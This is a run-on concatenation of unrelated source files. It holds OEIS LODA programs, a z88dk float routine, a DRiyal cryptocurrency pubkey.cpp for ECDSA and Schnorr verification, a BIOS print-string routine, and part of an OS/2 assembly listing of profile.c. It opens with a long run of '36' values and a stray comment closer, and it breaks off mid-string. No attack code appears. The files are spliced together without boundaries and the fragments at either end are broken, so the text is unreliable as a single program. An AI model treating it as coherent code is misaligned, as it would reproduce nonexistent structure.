36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
; A010234: Continued fraction for sqrt(192). ; Submitted by Jon Maiga ; 13,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1,26,1,5,1 gcd $0,262156 mul $0,42 mod $0,13 mul $0,2 mov $1,$0 sub $0,2 sub $1,4 div $1,5 mul $1,18 trn $1,$0 mov $0,$1 div $0,2 add $0,1
SECTION code_clib SECTION code_fp_math32 PUBLIC cm32_sdcc_fsload .cm32_sdcc_fsload ; sdcc float primitive ; Load float pointed to by HL into DEHL ; ; enter : HL = float* (sdcc_float) ; ; exit : DEHL = float (sdcc_float) ; ; uses : f, bc, de, hl ld c,(hl) inc hl ld b,(hl) inc hl ld e,(hl) inc hl ld d,(hl) ; DEBC = sdcc_float ld l,c ld h,b ret ; DEHL = sdcc_float
// Copyright (c) 2009-2021 The DRiyal Core developers // Copyright (c) 2017 The Zcash developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <pubkey.h> #include <hash.h> #include <secp256k1.h> #include <secp256k1_extrakeys.h> #include <secp256k1_recovery.h> #include <secp256k1_schnorrsig.h> #include <span.h> #include <uint256.h> #include <algorithm> #include <cassert> namespace { /* Global secp256k1_context object used for verification. */ secp256k1_context* secp256k1_context_verify = nullptr; } // namespace /** This function is taken from the libsecp256k1 distribution and implements * DER parsing for ECDSA signatures, while supporting an arbitrary subset of * format violations. * * Supported violations include negative integers, excessive padding, garbage * at the end, and overly long length descriptors. This is safe to use in * DRiyal because since the activation of BIP66, signatures are verified to be * strict DER before being passed to this module, and we know it supports all * violations present in the blockchain before that point. */ int ecdsa_signature_parse_der_lax(const secp256k1_context* ctx, secp256k1_ecdsa_signature* sig, const unsigned char *input, size_t inputlen) { size_t rpos, rlen, spos, slen; size_t pos = 0; size_t lenbyte; unsigned char tmpsig[64] = {0}; int overflow = 0; /* Hack to initialize sig with a correctly-parsed but invalid signature. */ secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig); /* Sequence tag byte */ if (pos == inputlen || input[pos] != 0x30) { return 0; } pos++; /* Sequence length bytes */ if (pos == inputlen) { return 0; } lenbyte = input[pos++]; if (lenbyte & 0x80) { lenbyte -= 0x80; if (lenbyte > inputlen - pos) { return 0; } pos += lenbyte; } /* Integer tag byte for R */ if (pos == inputlen || input[pos] != 0x02) { return 0; } pos++; /* Integer length for R */ if (pos == inputlen) { return 0; } lenbyte = input[pos++]; if (lenbyte & 0x80) { lenbyte -= 0x80; if (lenbyte > inputlen - pos) { return 0; } while (lenbyte > 0 && input[pos] == 0) { pos++; lenbyte--; } static_assert(sizeof(size_t) >= 4, "size_t too small"); if (lenbyte >= 4) { return 0; } rlen = 0; while (lenbyte > 0) { rlen = (rlen << 8) + input[pos]; pos++; lenbyte--; } } else { rlen = lenbyte; } if (rlen > inputlen - pos) { return 0; } rpos = pos; pos += rlen; /* Integer tag byte for S */ if (pos == inputlen || input[pos] != 0x02) { return 0; } pos++; /* Integer length for S */ if (pos == inputlen) { return 0; } lenbyte = input[pos++]; if (lenbyte & 0x80) { lenbyte -= 0x80; if (lenbyte > inputlen - pos) { return 0; } while (lenbyte > 0 && input[pos] == 0) { pos++; lenbyte--; } static_assert(sizeof(size_t) >= 4, "size_t too small"); if (lenbyte >= 4) { return 0; } slen = 0; while (lenbyte > 0) { slen = (slen << 8) + input[pos]; pos++; lenbyte--; } } else { slen = lenbyte; } if (slen > inputlen - pos) { return 0; } spos = pos; /* Ignore leading zeroes in R */ while (rlen > 0 && input[rpos] == 0) { rlen--; rpos++; } /* Copy R value */ if (rlen > 32) { overflow = 1; } else { memcpy(tmpsig + 32 - rlen, input + rpos, rlen); } /* Ignore leading zeroes in S */ while (slen > 0 && input[spos] == 0) { slen--; spos++; } /* Copy S value */ if (slen > 32) { overflow = 1; } else { memcpy(tmpsig + 64 - slen, input + spos, slen); } if (!overflow) { overflow = !secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig); } if (overflow) { /* Overwrite the result again with a correctly-parsed but invalid signature if parsing failed. */ memset(tmpsig, 0, 64); secp256k1_ecdsa_signature_parse_compact(ctx, sig, tmpsig); } return 1; } XOnlyPubKey::XOnlyPubKey(Span<const unsigned char> bytes) { assert(bytes.size() == 32); std::copy(bytes.begin(), bytes.end(), m_keydata.begin()); } std::vector<CKeyID> XOnlyPubKey::GetKeyIDs() const { std::vector<CKeyID> out; // For now, use the old full pubkey-based key derivation logic. As it is indexed by // Hash160(full pubkey), we need to return both a version prefixed with 0x02, and one // with 0x03. unsigned char b[33] = {0x02}; std::copy(m_keydata.begin(), m_keydata.end(), b + 1); CPubKey fullpubkey; fullpubkey.Set(b, b + 33); out.push_back(fullpubkey.GetID()); b[0] = 0x03; fullpubkey.Set(b, b + 33); out.push_back(fullpubkey.GetID()); return out; } bool XOnlyPubKey::IsFullyValid() const { secp256k1_xonly_pubkey pubkey; return secp256k1_xonly_pubkey_parse(secp256k1_context_verify, &pubkey, m_keydata.data()); } bool XOnlyPubKey::VerifySchnorr(const uint256& msg, Span<const unsigned char> sigbytes) const { assert(sigbytes.size() == 64); secp256k1_xonly_pubkey pubkey; if (!secp256k1_xonly_pubkey_parse(secp256k1_context_verify, &pubkey, m_keydata.data())) return false; return secp256k1_schnorrsig_verify(secp256k1_context_verify, sigbytes.data(), msg.begin(), 32, &pubkey); } static const CHashWriter HASHER_TAPTWEAK = TaggedHash("TapTweak"); uint256 XOnlyPubKey::ComputeTapTweakHash(const uint256* merkle_root) const { if (merkle_root == nullptr) { // We have no scripts. The actual tweak does not matter, but follow BIP341 here to // allow for reproducible tweaking. return (CHashWriter(HASHER_TAPTWEAK) << m_keydata).GetSHA256(); } else { return (CHashWriter(HASHER_TAPTWEAK) << m_keydata << *merkle_root).GetSHA256(); } } bool XOnlyPubKey::CheckTapTweak(const XOnlyPubKey& internal, const uint256& merkle_root, bool parity) const { secp256k1_xonly_pubkey internal_key; if (!secp256k1_xonly_pubkey_parse(secp256k1_context_verify, &internal_key, internal.data())) return false; uint256 tweak = internal.ComputeTapTweakHash(&merkle_root); return secp256k1_xonly_pubkey_tweak_add_check(secp256k1_context_verify, m_keydata.begin(), parity, &internal_key, tweak.begin()); } std::optional<std::pair<XOnlyPubKey, bool>> XOnlyPubKey::CreateTapTweak(const uint256* merkle_root) const { secp256k1_xonly_pubkey base_point; if (!secp256k1_xonly_pubkey_parse(secp256k1_context_verify, &base_point, data())) return std::nullopt; secp256k1_pubkey out; uint256 tweak = ComputeTapTweakHash(merkle_root); if (!secp256k1_xonly_pubkey_tweak_add(secp256k1_context_verify, &out, &base_point, tweak.data())) return std::nullopt; int parity = -1; std::pair<XOnlyPubKey, bool> ret; secp256k1_xonly_pubkey out_xonly; if (!secp256k1_xonly_pubkey_from_pubkey(secp256k1_context_verify, &out_xonly, &parity, &out)) return std::nullopt; secp256k1_xonly_pubkey_serialize(secp256k1_context_verify, ret.first.begin(), &out_xonly); assert(parity == 0 || parity == 1); ret.second = parity; return ret; } bool CPubKey::Verify(const uint256 &hash, const std::vector<unsigned char>& vchSig) const { if (!IsValid()) return false; secp256k1_pubkey pubkey; secp256k1_ecdsa_signature sig; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch, size())) { return false; } if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig, vchSig.data(), vchSig.size())) { return false; } /* libsecp256k1's ECDSA verification requires lower-S signatures, which have * not historically been enforced in DRiyal, so normalize them first. */ secp256k1_ecdsa_signature_normalize(secp256k1_context_verify, &sig, &sig); return secp256k1_ecdsa_verify(secp256k1_context_verify, &sig, hash.begin(), &pubkey); } bool CPubKey::RecoverCompact(const uint256 &hash, const std::vector<unsigned char>& vchSig) { if (vchSig.size() != COMPACT_SIGNATURE_SIZE) return false; int recid = (vchSig[0] - 27) & 3; bool fComp = ((vchSig[0] - 27) & 4) != 0; secp256k1_pubkey pubkey; secp256k1_ecdsa_recoverable_signature sig; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); if (!secp256k1_ecdsa_recoverable_signature_parse_compact(secp256k1_context_verify, &sig, &vchSig[1], recid)) { return false; } if (!secp256k1_ecdsa_recover(secp256k1_context_verify, &pubkey, &sig, hash.begin())) { return false; } unsigned char pub[SIZE]; size_t publen = SIZE; secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen, &pubkey, fComp ? SECP256K1_EC_COMPRESSED : SECP256K1_EC_UNCOMPRESSED); Set(pub, pub + publen); return true; } bool CPubKey::IsFullyValid() const { if (!IsValid()) return false; secp256k1_pubkey pubkey; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); return secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch, size()); } bool CPubKey::Decompress() { if (!IsValid()) return false; secp256k1_pubkey pubkey; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch, size())) { return false; } unsigned char pub[SIZE]; size_t publen = SIZE; secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen, &pubkey, SECP256K1_EC_UNCOMPRESSED); Set(pub, pub + publen); return true; } bool CPubKey::Derive(CPubKey& pubkeyChild, ChainCode &ccChild, unsigned int nChild, const ChainCode& cc) const { assert(IsValid()); assert((nChild >> 31) == 0); assert(size() == COMPRESSED_SIZE); unsigned char out[64]; BIP32Hash(cc, nChild, *begin(), begin()+1, out); memcpy(ccChild.begin(), out+32, 32); secp256k1_pubkey pubkey; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); if (!secp256k1_ec_pubkey_parse(secp256k1_context_verify, &pubkey, vch, size())) { return false; } if (!secp256k1_ec_pubkey_tweak_add(secp256k1_context_verify, &pubkey, out)) { return false; } unsigned char pub[COMPRESSED_SIZE]; size_t publen = COMPRESSED_SIZE; secp256k1_ec_pubkey_serialize(secp256k1_context_verify, pub, &publen, &pubkey, SECP256K1_EC_COMPRESSED); pubkeyChild.Set(pub, pub + publen); return true; } void CExtPubKey::Encode(unsigned char code[BIP32_EXTKEY_SIZE]) const { code[0] = nDepth; memcpy(code+1, vchFingerprint, 4); WriteBE32(code+5, nChild); memcpy(code+9, chaincode.begin(), 32); assert(pubkey.size() == CPubKey::COMPRESSED_SIZE); memcpy(code+41, pubkey.begin(), CPubKey::COMPRESSED_SIZE); } void CExtPubKey::Decode(const unsigned char code[BIP32_EXTKEY_SIZE]) { nDepth = code[0]; memcpy(vchFingerprint, code+1, 4); nChild = ReadBE32(code+5); memcpy(chaincode.begin(), code+9, 32); pubkey.Set(code+41, code+BIP32_EXTKEY_SIZE); if ((nDepth == 0 && (nChild != 0 || ReadLE32(vchFingerprint) != 0)) || !pubkey.IsFullyValid()) pubkey = CPubKey(); } void CExtPubKey::EncodeWithVersion(unsigned char code[BIP32_EXTKEY_WITH_VERSION_SIZE]) const { memcpy(code, version, 4); Encode(&code[4]); } void CExtPubKey::DecodeWithVersion(const unsigned char code[BIP32_EXTKEY_WITH_VERSION_SIZE]) { memcpy(version, code, 4); Decode(&code[4]); } bool CExtPubKey::Derive(CExtPubKey &out, unsigned int _nChild) const { out.nDepth = nDepth + 1; CKeyID id = pubkey.GetID(); memcpy(out.vchFingerprint, &id, 4); out.nChild = _nChild; return pubkey.Derive(out.pubkey, out.chaincode, _nChild, chaincode); } /* static */ bool CPubKey::CheckLowS(const std::vector<unsigned char>& vchSig) { secp256k1_ecdsa_signature sig; assert(secp256k1_context_verify && "secp256k1_context_verify must be initialized to use CPubKey."); if (!ecdsa_signature_parse_der_lax(secp256k1_context_verify, &sig, vchSig.data(), vchSig.size())) { return false; } return (!secp256k1_ecdsa_signature_normalize(secp256k1_context_verify, nullptr, &sig)); } /* static */ int ECCVerifyHandle::refcount = 0; ECCVerifyHandle::ECCVerifyHandle() { if (refcount == 0) { assert(secp256k1_context_verify == nullptr); secp256k1_context_verify = secp256k1_context_create(SECP256K1_CONTEXT_VERIFY); assert(secp256k1_context_verify != nullptr); } refcount++; } ECCVerifyHandle::~ECCVerifyHandle() { refcount--; if (refcount == 0) { assert(secp256k1_context_verify != nullptr); secp256k1_context_destroy(secp256k1_context_verify); secp256k1_context_verify = nullptr; } } const secp256k1_context* GetVerifyContext() { return secp256k1_context_verify; }
; A100628: a(n) = 2^(3*prime(n) + 1). ; Submitted by Jamie Morken(m3) ; 128,1024,65536,4194304,17179869184,1099511627776,4503599627370496,288230376151711744,1180591620717411303424,309485009821345068724781056,19807040628566084398385987584,5192296858534827628530496329220096 seq $0,6005 ; The odd prime numbers together with 1. mul $0,3 max $0,6 sub $0,5 lpb $0 lpb $0 mov $1,$0 lpb $1 mov $1,1 lpe add $1,1 mov $0,$1 lpe mov $1,10 pow $1,$0 sub $1,1 mul $1,11 add $1,10 mov $0,$1 lpe mov $1,2 pow $1,$0 mov $0,$1 div $0,2 mul $0,128
print_string_16: pusha mov ah, 0x0E ; teletype output (int 0x10, ah = 0x0E) mov bx, 0x0007 ; bh = page number (0), bl = foreground colour (light grey) .print_char: lodsb ; al = [ds:si]++ test al, al jz .end ; exit if null-terminator found int 0x10 ; print character jmp .print_char ; repeat for next character .end: popa retn
title ../../../Lib/profile.c .386 .387 includelib cppom30.lib includelib os2386.lib CODE32 segment dword use32 public 'CODE' CODE32 ends DATA32 segment dword use32 public 'DATA' DATA32 ends CONST32_RO segment dword use32 public 'CONST' CONST32_RO ends BSS32 segment dword use32 public 'BSS' BSS32 ends DGROUP group BSS32, DATA32 assume cs:FLAT, ds:FLAT, ss:FLAT, es:FLAT extrn PrfWriteProfileData:proc extrn WinGetLastError:proc extrn Verbose:proc extrn free:proc extrn strdup:proc extrn DosCreateMutexSem:proc extrn PrfOpenProfile:proc extrn PrfQueryProfileData:proc extrn malloc:proc extrn memset:proc extrn memcpy:proc extrn PrfCloseProfile:proc extrn DosCloseMutexSem:proc extrn DosRequestMutexSem:proc extrn strcmp:proc extrn memcmp:proc extrn DosReleaseMutexSem:proc extrn strcpy:proc DATA32 segment @STAT1 db "Profile",0h @STAT2 db "PrfWriteProfileData fail" db "s - error %#x",0h align 04h @STAT3 db "Profile",0h @STAT4 db "OpenProfile: %s already " db "open",0h align 04h @STAT5 db "Profile",0h @STAT6 db "OpenProfile: memory prob" db "lem",0h @STAT7 db "Profile",0h @STAT8 db "PrfOpenProfile fails - e" db "rror %#x",0h align 04h @STAT9 db "Profile",0h @STATa db "PrfCloseProfile fails - " db "error %#x",0h align 04h @STATb db "Profile",0h @STATc db "Saved key %s in profile",0h @1vcid db "$Id: profile.c,v 2.1 200" db "0/05/14 01:25:51 vitus E" db "xp $",0h DATA32 ends BSS32 segment @2hmtxSetting dd 0h @3pSetting dd 0h @4pszIniFile dd 0h BSS32 ends CODE32 segment ; 154 { NextWord proc mov [esp+04h],eax; cp ; 155 for(; *cp != '\0'; ++cp ) cmp byte ptr [eax],0h je @BLBL4 mov ecx,eax @BLBL5: ; 155 for(; *cp != '\0'; ++cp ) inc ecx cmp byte ptr [ecx],0h jne @BLBL5 mov [esp+04h],ecx; cp @BLBL4: ; 157 return ++cp; mov eax,[esp+04h]; cp inc eax ret NextWord endp ; 531 { public ProfileDelete ProfileDelete proc push ebx mov ebx,edx push edi push esi sub esp,08h mov [esp+01ch],ebx; key mov [esp+018h],eax; app ; 537 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); push 0ffffffffh push dword ptr @2hmtxSetting call DosRequestMutexSem ; 538 for( prev = NULL, p = pSetting; p != NULL ; prev = p, p = p->next ) mov edi,dword ptr @3pSetting ; 537 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); add esp,08h mov edx,ebx ; 538 for( prev = NULL, p = pSetting; p != NULL ; prev = p, p = p->next ) test edi,edi je @BLBL47 xor esi,esi @BLBL48: ; 540 if( strcmp(app, p->app) == 0 && strcmp(key, p->key) == NULL ) mov edx,[edi+08h] mov eax,[esp+018h]; app call strcmp test eax,eax jne @BLBL49 mov edx,[edi+0ch] mov eax,ebx call strcmp test eax,eax jne @BLBL49 ; 542 free( p->data ); mov eax,[edi+014h] call free ; 543 if( prev != NULL ) test esi,esi je @BLBL50 ; 544 prev->next = p->next; mov eax,[edi] mov [esi],eax jmp @BLBL51 @BLBL50: ; 546 pSetting = p->next; mov eax,[edi] mov dword ptr @3pSetting,eax @BLBL51: ; 547 free( p ); mov eax,edi call free ; 548 break; jmp @BLBL47 @BLBL49: ; 538 for( prev = NULL, p = pSetting; p != NULL ; prev = p, p = p->next ) mov esi,edi mov edi,[esi] test edi,edi jne @BLBL48 @BLBL47: ; 551 DosReleaseMutexSem( hmtxSetting ); push dword ptr @2hmtxSetting call DosReleaseMutexSem ; 553 return 0; add esp,0ch xor eax,eax pop esi pop edi pop ebx ret ProfileDelete endp ; 471 { public ProfileReadNext ProfileReadNext proc push ebp mov ebp,esp push ebx mov ebx,edx push edi mov edi,eax push esi mov [ebp+010h],ecx; bufsiz sub esp,014h ; 473 ULONG rc = (ULONG)-1; mov dword ptr [ebp-010h],0ffffffffh; rc ; 478 DosRequestMutexSem(hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT); push 0ffffffffh ; 471 { mov [ebp+0ch],ebx; key ; 478 DosRequestMutexSem(hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT); push dword ptr @2hmtxSetting call DosRequestMutexSem mov eax,edi ; 479 for( p = pSetting; p != NULL ; p = p->next ) mov edi,dword ptr @3pSetting ; 478 DosRequestMutexSem(hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT); add esp,08h mov edx,ebx ; 479 for( p = pSetting; p != NULL ; p = p->next ) test edi,edi je @BLBL36 xor ebx,ebx mov esi,edx @BLBL37: ; 481 if( strcmp(app, p->app) == 0 ) mov edx,[edi+08h] ; 479 for( p = pSetting; p != NULL ; p = p->next ) mov ecx,eax ; 481 if( strcmp(app, p->app) == 0 ) mov [ebp-014h],ecx; @CBE13 call strcmp mov ecx,eax mov eax,[ebp-014h]; @CBE13 test ecx,ecx jne @BLBL38 ; 483 if( key[0] == '\0' || found_first == TRUE ) cmp byte ptr [esi],0h je @BLBL39 cmp ebx,01h jne @BLBL40 @BLBL39: mov [ebp-014h],eax; @CBE13 ; 485 strcpy(key, p->key); mov edx,[edi+0ch] mov eax,esi call strcpy ; 486 if( p->len > *bufsiz ) mov ecx,[ebp+010h]; bufsiz ; 485 strcpy(key, p->key); mov eax,[ebp-014h]; @CBE13 ; 486 if( p->len > *bufsiz ) mov edx,[edi+010h] cmp [ecx],edx jae @BLBL41 ; 488 *bufsiz = p->len; mov [ecx],edx ; 489 rc = (ULONG)-2; mov dword ptr [ebp-010h],0fffffffeh; rc jmp @BLBL36 @BLBL41: ; 493 if( buf != NULL ) mov edx,[ebp+014h]; buf test edx,edx je @BLBL43 mov [ebp-014h],eax; @CBE13 mov eax,edx ; 494 memcpy(buf, p->data, p->len); mov ecx,[edi+010h] mov edx,[edi+014h] call memcpy mov eax,[ebp-014h]; @CBE13 @BLBL43: ; 495 *bufsiz = p->len; mov ecx,[ebp+010h]; bufsiz mov edx,[edi+010h] mov [ecx],edx ; 496 rc = 0; mov dword ptr [ebp-010h],0h; rc ; 498 break; jmp @BLBL36 @BLBL40: mov [ebp-014h],eax; @CBE13 ; 500 else if( strcmp(key, p->key) == NULL ) mov edx,[edi+0ch] mov eax,esi call strcmp mov ecx,eax mov eax,[ebp-014h]; @CBE13 test ecx,ecx jne @BLBL38 ; 501 found_first = TRUE; mov ebx,01h @BLBL38: ; 479 for( p = pSetting; p != NULL ; p = p->next ) mov edi,[edi] test edi,edi jne @BLBL37 @BLBL36: ; 504 DosReleaseMutexSem(hmtxSetting); push dword ptr @2hmtxSetting call DosReleaseMutexSem add esp,04h ; 506 return rc; mov eax,[ebp-010h]; rc add esp,014h pop esi pop edi pop ebx pop ebp ret ProfileReadNext endp ; 403 { public ProfileRead ProfileRead proc push ebp mov ebp,esp push ebx mov ebx,ecx push edi mov [ebp+0ch],edx; key push esi mov [ebp+08h],eax; app sub esp,010h ; 405 ULONG rc = (ULONG)-1; mov dword ptr [ebp-010h],0ffffffffh; rc ; 410 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); push 0ffffffffh ; 403 { mov [ebp+010h],ebx; size ; 410 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); push dword ptr @2hmtxSetting call DosRequestMutexSem ; 411 for( p = pSetting; p != NULL ; p = p->next ) mov edi,dword ptr @3pSetting ; 410 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); add esp,08h mov ecx,ebx ; 411 for( p = pSetting; p != NULL ; p = p->next ) test edi,edi je @BLBL29 mov esi,[ebp+014h]; buf @BLBL30: ; 413 if( strcmp(app, p->app) == 0 && strcmp(key, p->key) == NULL ) mov edx,[edi+08h] mov eax,[ebp+08h]; app call strcmp test eax,eax jne @BLBL31 mov edx,[edi+0ch] mov eax,[ebp+0ch]; key call strcmp test eax,eax jne @BLBL31 ; 415 if( p->len > *size ) mov ecx,[edi+010h] cmp [ebx],ecx jae @BLBL32 ; 417 *size = p->len; mov [ebx],ecx ; 418 rc = (ULONG)-2; mov dword ptr [ebp-010h],0fffffffeh; rc jmp @BLBL29 @BLBL32: ; 422 if( buf != NULL ) test esi,esi je @BLBL34 ; 423 memcpy( buf, p->data, p->len ); mov ecx,[edi+010h] mov edx,[edi+014h] mov eax,esi call memcpy @BLBL34: ; 424 *size = p->len; mov eax,[edi+010h] mov [ebx],eax ; 425 rc = 0; mov dword ptr [ebp-010h],0h; rc ; 427 break; jmp @BLBL29 @BLBL31: ; 411 for( p = pSetting; p != NULL ; p = p->next ) mov edi,[edi] test edi,edi jne @BLBL30 @BLBL29: ; 430 DosReleaseMutexSem( hmtxSetting ); push dword ptr @2hmtxSetting call DosReleaseMutexSem add esp,04h ; 432 return rc; mov eax,[ebp-010h]; rc add esp,010h pop esi pop edi pop ebx pop ebp ret ProfileRead endp ; 336 { public ProfileWrite ProfileWrite proc push ebp mov ebp,esp push ebx mov ebx,ecx push edi mov [ebp+0ch],edx; key push esi mov [ebp+08h],eax; app sub esp,010h mov [ebp+010h],ebx; bufsiz ; 344 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); push 0ffffffffh push dword ptr @2hmtxSetting call DosRequestMutexSem ; 345 for( p = pSetting; p != NULL ; p = p->next ) mov edi,dword ptr @3pSetting ; 344 DosRequestMutexSem( hmtxSetting, (ULONG)SEM_INDEFINITE_WAIT ); add esp,08h mov ecx,ebx ; 345 for( p = pSetting; p != NULL ; p = p->next ) mov [ebp-010h],edi; p test edi,edi je @BLBL21 mov esi,[ebp+014h]; buf @BLBL22: ; 347 if( strcmp(app, p->app) == 0 && strcmp(key, p->key) == NULL ) mov edx,[edi+08h] mov eax,[ebp+08h]; app call strcmp test eax,eax jne @BLBL23 mov edx,[edi+0ch] mov eax,[ebp+0ch]; key call strcmp test eax,eax jne @BLBL23 ; 349 if( bufsiz == p-> ; 349 len && memcmp(buf, p->data, bufsiz) == 0 ) cmp [edi+010h],ebx jne @BLBL24 mov edx,[edi+014h] mov ecx,ebx mov eax,esi call memcmp test eax,eax je @BLBL56 ; 350 ; @BLBL24: ; 352 free( p->data ), p->data = NULL; mov eax,[edi+014h] call free mov dword ptr [edi+014h],0h ; 353 break; jmp @BLBL56 @BLBL23: ; 345 for( p = pSetting; p != NULL ; p = p->next ) mov edi,[edi] test edi,edi jne @BLBL22 @BLBL56: mov [ebp-010h],edi; p @BLBL21: ; 356 if( p == NULL ) /* not already in table? */ cmp dword ptr [ebp-010h],0h; p jne @BLBL27 ; 358 p = malloc( sizeof(SETTING) ); mov eax,018h call malloc mov ebx,eax ; 359 p->next = pSetting; mov ecx,dword ptr @3pSetting ; 358 p = malloc( sizeof(SETTING) ); mov [ebp-010h],ebx; p ; 359 p->next = pSetting; mov [ebx],ecx ; 360 p->app = strdup( app ); mov eax,[ebp+08h]; app call strdup mov [ebx+08h],eax ; 361 p->key = strdup( key ); mov eax,[ebp+0ch]; key call strdup mov [ebx+0ch],eax ; 362 p->data = NULL; mov dword ptr [ebx+014h],0h ; 363 pSetting = p; mov dword ptr @3pSetting,ebx @BLBL27: ; 365 if( p->data == NULL ) mov ebx,[ebp-010h]; p cmp dword ptr [ebx+014h],0h jne @BLBL28 ; 367 p->changed = 1; mov dword ptr [ebx+04h],01h ; 368 p->data = malloc( bufsiz ); mov edi,[ebp+010h]; bufsiz mov eax,edi call malloc mov ecx,edi mov [ebx+014h],eax ; 369 p->len = bufsiz; mov [ebx+010h],ecx ; 370 memcpy( p->data, buf, bufsiz ); mov edx,[ebp+014h]; buf mov eax,[ebx+014h] call memcpy ; 371 Verbose(3, "Profile", "Saved key %s in profile", key); push dword ptr [ebp+0ch]; key mov ecx,offset FLAT:@STATc sub esp,0ch mov edx,offset FLAT:@STATb mov eax,03h call Verbose add esp,010h @BLBL28: ; 373 DosReleaseMutexSem( hmtxSetting ); push dword ptr @2hmtxSetting call DosReleaseMutexSem add esp,04h ; 375 return 0; add esp,010h xor eax,eax pop esi pop edi pop ebx pop ebp ret ProfileWrite endp ; 275 { public ProfileClose ProfileClose proc push ebx mov ebx,eax push edi ; 276 SETTING *p = pSetting; mov ecx,dword ptr @3pSetting ; 275 { push esi ; 276 SETTING *p = pSetting; mov esi,ecx ; 275 { sub esp,014h mov [esp+024h],ebx; hab ; 277 HINI const hd = PrfOpenProfile( hab, pszIniFile ); push dword ptr @4pszIniFile push ebx call PrfOpenProfile add esp,08h mov edi,eax ; 280 if( hd == NULLHANDLE ) test eax,eax mov eax,ebx jne @BLBL18 ; 282 ULONG error = WinGetLastError( hab ); push eax call WinGetLastError mov ebx,eax ; 283 Verbose(1, "Profile", "PrfOpenProfile fails - error 